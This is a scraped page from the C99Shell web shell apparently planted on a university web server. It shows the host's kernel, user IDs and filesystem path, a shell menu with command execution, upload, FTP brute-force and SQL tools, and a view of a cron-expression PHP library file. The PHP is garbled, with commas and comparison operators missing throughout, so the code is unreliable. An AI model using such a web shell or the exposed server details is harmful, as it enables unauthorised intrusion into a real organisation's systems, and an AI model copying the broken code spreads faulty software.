!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/mtdowling/cron-expression/src/Cron/   drwxr-xr-x
Free 116.97 GB of 200.55 GB (58.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AbstractField.php (3.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Cron;

/**
 * Abstract CRON expression field
 */
abstract class AbstractField implements FieldInterface
{
    
/**
     * Check to see if a field is satisfied by a value
     *
     * @param string $dateValue Date value to check
     * @param string $value     Value to test
     *
     * @return bool
     */
    
public function isSatisfied($dateValue$value)
    {
        if (
$this->isIncrementsOfRanges($value)) {
            return 
$this->isInIncrementsOfRanges($dateValue$value);
        } elseif (
$this->isRange($value)) {
            return 
$this->isInRange($dateValue$value);
        }

        return 
$value == '*' || $dateValue == $value;
    }

    
/**
     * Check if a value is a range
     *
     * @param string $value Value to test
     *
     * @return bool
     */
    
public function isRange($value)
    {
        return 
strpos($value'-') !== false;
    }

    
/**
     * Check if a value is an increments of ranges
     *
     * @param string $value Value to test
     *
     * @return bool
     */
    
public function isIncrementsOfRanges($value)
    {
        return 
strpos($value'/') !== false;
    }

    
/**
     * Test if a value is within a range
     *
     * @param string $dateValue Set date value
     * @param string $value     Value to test
     *
     * @return bool
     */
    
public function isInRange($dateValue$value)
    {
        
$parts array_map('trim'explode('-'$value2));

        return 
$dateValue >= $parts[0] && $dateValue <= $parts[1];
    }

    
/**
     * Test if a value is within an increments of ranges (offset[-to]/step size)
     *
     * @param string $dateValue Set date value
     * @param string $value     Value to test
     *
     * @return bool
     */
    
public function isInIncrementsOfRanges($dateValue$value)
    {
        
$parts array_map('trim'explode('/'$value2));
        
$stepSize = isset($parts[1]) ? $parts[1] : 0;
        if ((
$parts[0] == '*' || $parts[0] === '0') && !== $stepSize) {
            return (int) 
$dateValue $stepSize == 0;
        }

        
$range explode('-'$parts[0], 2);
        
$offset $range[0];
        
$to = isset($range[1]) ? $range[1] : $dateValue;
        
// Ensure that the date value is within the range
        
if ($dateValue $offset || $dateValue $to) {
            return 
false;
        }

        if (
$dateValue $offset && === $stepSize) {
          return 
false;
        }

        for (
$i $offset$i <= $to$i+= $stepSize) {
            if (
$i == $dateValue) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * Returns a range of values for the given cron expression
     *
     * @param string $expression The expression to evaluate
     * @param int $max           Maximum offset for range
     *
     * @return array
     */
    
public function getRangeForExpression($expression$max)
    {
        
$values = array();

        if (
$this->isRange($expression) || $this->isIncrementsOfRanges($expression)) {
            if (!
$this->isIncrementsOfRanges($expression)) {
                list (
$offset$to) = explode('-'$expression);
                
$stepSize 1;
            }
            else {
                
$range array_map('trim'explode('/'$expression2));
                
$stepSize = isset($range[1]) ? $range[1] : 0;
                
$range $range[0];
                
$range explode('-'$range2);
                
$offset $range[0];
                
$to = isset($range[1]) ? $range[1] : $max;
            }
            
$offset $offset == '*' $offset;
            for (
$i $offset$i <= $to$i += $stepSize) {
                
$values[] = $i;
            }
            
sort($values);
        }
        else {
            
$values = array($expression);
        }

        return 
$values;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0182 ]--